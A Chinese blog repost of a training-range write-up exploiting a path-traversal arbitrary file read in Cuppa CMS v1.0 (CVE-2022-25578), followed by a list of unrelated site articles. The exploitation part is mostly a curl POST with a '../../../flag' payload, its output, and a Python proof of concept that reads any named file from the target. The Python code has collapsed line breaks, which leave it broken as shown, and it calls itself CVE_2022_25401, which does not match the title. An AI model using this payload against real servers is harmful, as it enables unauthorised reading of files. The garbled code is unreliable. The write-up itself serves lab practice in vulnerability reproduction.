Cuppa CMS v1.0 任意文件读取漏洞（CVE-2022-25578）

前言

春秋云镜靶场是一个专注于网络安全培训和实战演练的平台，旨在通过模拟真实的网络环境和攻击场景，提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点：

实战演练：

提供各种网络安全攻防演练场景，模拟真实的网络攻击事件，帮助用户在实际操作中掌握网络安全技术。
场景涵盖Web安全、系统安全、网络安全、社工攻击等多个领域。
漏洞复现：

用户可以通过平台对已知的安全漏洞进行复现，了解漏洞的产生原因、利用方法和修复措施。
通过实战操作，帮助用户掌握漏洞利用和防护的技能。
教学培训：

提供系统化的网络安全课程，从基础到高级，覆盖多个安全领域，适合不同水平的用户。
包含理论讲解和实战操作，帮助学员全面提升网络安全知识和实战能力。
竞赛与评测：

定期举办网络安全竞赛，如CTF（Capture The Flag）比赛，激发学员的学习兴趣和动力。
提供个人和团队的安全能力评测，帮助学员了解自己的安全技能水平。
资源共享：

平台提供丰富的学习资源，包括教程、工具、案例分析等，方便用户随时查阅和学习。
用户可以在社区中分享经验和资源，互相交流和学习。

春秋云镜靶场适合网络安全从业人员、学生以及对网络安全感兴趣的个人，通过在平台上进行不断的学习和实战演练，可以有效提升网络安全技能和防护能力。

介绍

Cuppa CMS 是一个开源的内容管理系统（CMS），它提供了一个简单易用的平台，让用户可以轻松创建和管理网站内容。以下是关于 Cuppa CMS 的一些基本信息：

主要特点

  1. 开源：Cuppa CMS 是完全开源的，这意味着用户可以自由地下载、修改和分发它。
  2. 易于使用：它提供了一个直观的用户界面，使得非技术用户也能轻松管理网站内容。
  3. 模块化：系统采用模块化设计，用户可以根据需要安装和启用不同的功能模块。
  4. 多语言支持：支持多种语言，方便进行国际化和本地化。
  5. 响应式设计：支持响应式设计，确保网站在各种设备上都能良好显示。
  6. SEO 优化：内置基本的搜索引擎优化（SEO）功能，帮助网站内容更好地被搜索引擎收录和索引。
  7. 社区支持：拥有活跃的开发社区和用户社区，用户可以在社区中获取支持、分享经验和解决问题。

功能

  • 内容管理：允许用户创建、编辑和管理网页内容，包括文本、图片和视频等。
  • 用户管理：提供用户权限管理功能，管理员可以定义不同用户角色及其对系统功能的访问权限。
  • 插件和扩展：支持通过插件和扩展来增强系统功能。
  • 模板系统：提供多种预设模板，用户可以根据需要选择或自定义模板。
  • 数据备份与恢复：支持数据的备份与恢复，确保网站数据的安全。

安全性

Cuppa CMS 致力于提供安全的管理平台，但和其他任何软件一样，它也可能存在安全漏洞。用户应定期更新系统和插件，以防止已知漏洞的利用。此外，合理的权限管理、输入验证和安全配置也是确保系统安全的重要措施。

社区

Cuppa CMS 拥有一个活跃的社区，用户可以在社区中获取帮助、分享经验、下载插件和模板等。社区的支持对于新用户和开发者来说都是非常重要的资源。

使用场景

Cuppa CMS 适合用于建设各种类型的网站，包括企业网站、个人博客、电子商务网站等。它的灵活性和易用性使其成为许多用户的首选 CMS。

总结

Cuppa CMS 是一个功能丰富且易于使用的开源内容管理系统，适合不同水平的用户。通过合理的配置和维护，用户可以利用它构建安全、稳定且功能强大的网站。

漏洞复现

打开靶场

可以看到是个登录框，但是咱们没有账号密码 

因为题目给出了具体位置，所以可以使用 curl 爆破访问

┌──(root㉿kali)-[~]
└─# curl -X POST "http://eci-2zef5x211e7htbzlsos8.cloudeci1.ichunqiu.com/templates/default/html/windows/right.php" -d "url=../../../flag"
<style>body{ overflow: hidden; }.w_right{position: fixed;background: #fff;top: 50px;bottom: 0px;right: 0px;width: 93%;z-index: auto ;right: -100%;overflow: auto;overflow-x: hidden;box-shadow: 0px 2px 8px rgba(0,0,0,0.2);}
/* Responsvie */.r1200 .w_right{ width: 99% !important; }.r1100 .w_right{ width: 100% !important; }
</style>
<script>w_right = {}//++ endw_right.end = function(){cuppa.removeEventGroup("w_right");}; cuppa.addRemoveListener(".w_right", w_right.end);//--//++ closew_right.close = function(){$(".ace_autocomplete").hide();var w_right = $(".w_right").last();TweenMax.to(w_right, 0.3, {right:"-100%", ease:Cubic.easeIn, onComplete:function(){cuppa.setContent({load:false, name:".window_right", last:true});cuppa.blockade({load:false, name:".blockade_w_right", duration:0.2, last:true});cuppa.tinyMCEDestroy();}});}//--//++ initw_right.init = function(){TweenMax.to(".w_right", 0.4, {right:0, ease:Cubic.easeOut});}; cuppa.addEventListener("ready",  w_right.init, document, "w_right");//--
</script>
<div class="w_right">flag{540cefe9-693e-4463-882f-cce203b8eeb2}</div>

当然，也可以使用 Poc

import requests
from lxml import etreeheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 ''Safari/537.36',
}def CVE_2022_25401(url, fila_name):url += "/templates/default/html/windows/right.php"print(url)data = {"id": 1,"path": "component/table_manager/view/cu_views","uniqueClass": "window_right_246232","url": "../../../"+fila_name}res = requests.post(url, data=data, headers=headers)soup = etree.HTML(res.content)file_content = soup.xpath('//div[@class="w_right"]/text()')[0]print(file_content)if __name__ == '__main__':url = "http://eci-2zef5x211e7htbzlsos8.cloudeci1.ichunqiu.com"file_name = "flag"CVE_2022_25401(url, file_name)
  • requests: 用于发送HTTP请求。
  • etree (来自 lxml): 用于解析HTML内容。
  • headers: 定义HTTP请求头，用于伪装成普通浏览器的请求，避免被服务器过滤。
  • url: 漏洞目标的基础URL。
  • fila_name: 要读取的文件名。
  • url += "/templates/default/html/windows/right.php": 构造目标请求URL，指向存在漏洞的PHP文件。
  • print(url): 打印构造的URL，便于调试。
  • data: 构造POST请求的数据。
    • "id": 1: 示例参数，通常用于指定某种ID。
    • "path": "component/table_manager/view/cu_views": 示例路径参数。
    • "uniqueClass": "window_right_246232": 示例参数，通常用于指定某种唯一标识。
    • "url": "../../../"+fila_name: 利用路径遍历漏洞，尝试读取服务器上任意位置的文件。
  • res = requests.post(url, data=data, headers=headers): 发送POST请求，尝试利用漏洞读取文件。
  • soup = etree.HTML(res.content): 使用 lxml 库解析返回的HTML内容。
  • file_content = soup.xpath('//div[@class="w_right"]/text()')[0]: 使用XPath语法从解析的HTML中提取目标文件内容。
  • print(file_content): 打印读取到的文件内容。
  • url: 漏洞目标的基础URL。
  • file_name: 要读取的文件名。
  • 调用 CVE_2022_25401 函数，传入目标URL和文件名，尝试读取服务器上的文件内容。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/bicheng/51585.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

yolo模型训练出的.pt文件过大

yolo模型训练出的.pt文件过大

当我们使用yolov8训练时候&#xff0c;保存的模型变大&#xff0c;如下图&#xff1a; 原模型 训练出来的模型 经过仔细调查&#xff0c;发现是保存的模型中多了很多数据。 原模型 训练出来的模型 只需要把文件中.pt文件读取&#xff0c;重写一遍保存。 from ultralytics im…
阅读更多...
深入源码：解析SpotBugs （6）jvm 字节码简介

深入源码：解析SpotBugs （6）jvm 字节码简介

文章目录 一、JVM字节码概述一、文件结构概述二、详细解析1. 魔数和Class文件的版本2. 常量池3. 访问标志4. 类索引、父类索引与接口索引集合5. 字段表和方法表6. 属性表 字节码Spotbugs 作为一名资深的Java开发工程师&#xff0c;对JVM及其字节码有着深入的理解。现在&#xf…
阅读更多...
Linux基于centOS7 【进度条】【Git】【gdb】学习

Linux基于centOS7 【进度条】【Git】【gdb】学习

目录 进度条 进度条的前置准备 sleep &#xff08;秒&#xff09;& usleep&#xff08;微秒&#xff09; sleep加\n和不加\n的区别 IO函数的缓冲区 回车&换行 10秒倒计时 进度条编写 git的使用 为什么要有git&#xff08;git版本控制器&#xff09; git的主要…
阅读更多...
江科大/江协科技 STM32学习笔记P13

江科大/江协科技 STM32学习笔记P13

文章目录 TIM定时中断1、TIM简介计数器PSC预分频器ARR自动重装寄存器 2、定时器类型基本定时器主模式触发DAC 通用定时器高级定时器 3、定时器原理定时中断基本结构预分频器时序计数器时序RCC时钟树 TIM定时中断 1、TIM简介 定时器的基准时钟一般都是主频72MHz&#xff0c;如果…
阅读更多...
业绩增长新引擎：智能名片如何助力销售突破

业绩增长新引擎：智能名片如何助力销售突破

01、智能名片&#xff0c;营销增长利器 在当今竞争激烈的市场环境下&#xff0c;企业正面临着类似品牌曝光不足、销售线索获取困难、客户关系维护复杂等诸多挑战。为帮助企业解决相关难题&#xff0c;促进业绩高效增长&#xff0c;纷享营销通的 智能名片 应运而生&#xff0…
阅读更多...
Leetcode—74. 搜索二维矩阵【中等】

Leetcode—74. 搜索二维矩阵【中等】

2024每日刷题&#xff08;149&#xff09; Leetcode—74. 搜索二维矩阵 实现代码 class Solution { public:bool searchMatrix(vector<vector<int>>& matrix, int target) {int m matrix.size();int n matrix[0].size();int l 0;int r m * n;int mid -1…
阅读更多...
DB-gpt + one-api + kimi-free-api 真香

DB-gpt + one-api + kimi-free-api 真香

# 1. 新建文件夹 one-api 和 子目录 mkdir -p /docker/one-api/data# 运行容器one-api docker run --name one-api -d --restart always -p 3333:3000 \ -e TZAsia/Shanghai -e REDIS_CONN_STRINGredis://192.168.0.3:6379 -e SYNC_FREQUENCY60 -e SQL_DSNroot:123456tcp(192.1…
阅读更多...
springboot整合junit-用于测试用例

springboot整合junit-用于测试用例

package impl;public interface BookDao {public void save(); }第一步&#xff1a;打开软件&#xff0c;点击file&#xff0c;点击new 然后选择module&#xff0c;在右侧选择springboot 第二步&#xff1a;选择配置和JDK以及java版本 ①选择maven类型 ②选择JDK1.8版本 ③选…
阅读更多...
极限两边夹定理

极限两边夹定理

极限两边夹定理 1. 定义 两边夹定理 (又称作夹逼定理) 说的是&#xff0c;如果一个函数 f f f 被夹在函数 g g g 和函数 h h h 之 间&#xff0c;当 x → a x \rightarrow a x→a 时&#xff0c;这两个函数 g g g 和 h h h 都收敛于同一个极限 L L L&#xff0c;那么当…
阅读更多...
全国区块链职业技能大赛样题第9套后端源码

全国区块链职业技能大赛样题第9套后端源码

后端源码地址：https://blog.csdn.net/Qhx20040819/article/details/140746050 前端源码地址：https://blog.csdn.net/Qhx20040819/article/details/140746216 智能合约+数据库表设计：https://blog.csdn.net/Qhx20040819/article/details/140746646 项目预览 登录 用户管理
阅读更多...
LRTimelapse Pro 7.0 安装教程

LRTimelapse Pro 7.0 安装教程

软件介绍 LRTimelapse Pro (LRT) 是一款专业的延迟摄影编辑渲染工具&#xff0c;具有高清输出、简单易用、无缝转换等特点。是非常强大的一款延迟摄影工具&#xff01;LRTimelapse Pro可以将您的影片提升一个水准。 程序可以配合 Adobe Lightroom, Adobe Camera RAW 和 Adobe…
阅读更多...
2024年孝感中级职称报名开始了吗？

2024年孝感中级职称报名开始了吗？

2024年孝感中级职称申报终于开始了&#xff0c;之前参加过水测的小伙伴们&#xff0c;开始准备评审了 2024年孝感本批次申报时间&#xff1a;中级、初级职称网上申报时间:2024年8月1日至8月31日。 注意&#xff1a;个人通过“湖北省职称评审管理信息系统”申报&#xff0c;须先…
阅读更多...
Llama 3.1 重磅发布，登顶开源大模型王座！

Llama 3.1 重磅发布，登顶开源大模型王座！

7月23日&#xff0c;Meta正式发布迄今为止最强大的开源模型——Llama 3.1 405B&#xff0c;同时发布了全新升级的Llama 3.1 70B和8B模型。 Meta在正式发布里也附上了长达92页的论文《The Llama 3 Herd of Models》&#xff0c;揭示了Llama 3模型的技术和训练细节。 论文地址&am…
阅读更多...
Jacoco 单元测试配置

Jacoco 单元测试配置

前言 编写单元测试是开发健壮程序的有效途径&#xff0c;单元测试写的好不好可以从多个指标考量&#xff0c;其中一个就是单元测试的覆盖率。单元测试覆盖率可以看到我们的单元测试覆盖了多少代码行、类、分支等。查看单元测试覆盖率可以使用一些工具帮助我们计算&#xff0c;…
阅读更多...
图解RocketMQ之生产者如何进行消息重试

图解RocketMQ之生产者如何进行消息重试

大家好&#xff0c;我是苍何。 上一篇留了一个小问题&#xff0c;如果消费者出现异常&#xff0c;消费某一条消息失败&#xff0c;这时候 RocketMQ 会怎么处理呢&#xff1f; 你可能会用你聪明绝顶的脑袋瓜子想&#xff0c;苍何你是不是傻&#xff0c;失败了肯定重试啊&#…
阅读更多...
单据新增，限制单据栏位的录入值，设置过滤条件

单据新增，限制单据栏位的录入值，设置过滤条件

希望通过开发实现 单据头的组织栏位，只能选择101开头的组织，实现的效果如下： 代码如下： using Kingdee.BOS.Util; using Kingdee.BOS.Core.DynamicForm.PlugIn; using Kingdee.BOS.Core.DynamicForm.PlugIn.Args; using System.ComponentModel;namespace cux.button.test {…
阅读更多...
基于opencv的人脸识别（实战）

基于opencv的人脸识别（实战）

前言 经过这几天的学习&#xff0c;我已经跃跃欲试了&#xff0c;相信大家也是&#xff0c;所以我决定自己做一个人脸识别程序。我会把自己的思路和想法都在这篇博客内讲清楚&#xff0c;大家可以当个参考&#xff0c;&#x1f31f;仅供学习使用&#x1f31f;。 &#x1f31f…
阅读更多...
分享10个好用的论文编辑服务/平台

分享10个好用的论文编辑服务/平台

学境思源&#xff0c;一键生成论文初稿&#xff1a; AcademicIdeas - 学境思源AI论文写作 如果您对自己的学术写作能力存在怀疑&#xff0c;论文编辑服务/平台或许能提供帮助。为了帮助您做出更好的选择&#xff0c;今天的分享我们列出了2024年“全网”最好用的10个论文编辑服…
阅读更多...
怎么样建设数字化车间？

怎么样建设数字化车间？

建设数字化车间是一个综合性的过程&#xff0c;旨在通过现代信息技术、智能设备和自动化技术对车间进行优化改造&#xff0c;提高生产效率和产品质量。以下是一些关键步骤和要点&#xff0c;用于指导数字化车间的建设&#xff1a; 一、明确建设目标和需求 分析现状&#xff1…
阅读更多...
【轨物方案】开关柜在线监测物联网解决方案

【轨物方案】开关柜在线监测物联网解决方案

随着物联网技术的发展&#xff0c;电力设备状态监测技术也得到了迅速发展。传统的电力成套开关柜设备状态监测方法主要采用人工巡检和定期维护的方式&#xff0c;这种方法不仅效率低下&#xff0c;而且难以保证设备的实时性和安全性。因此&#xff0c;基于物联网技术的成套开关…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023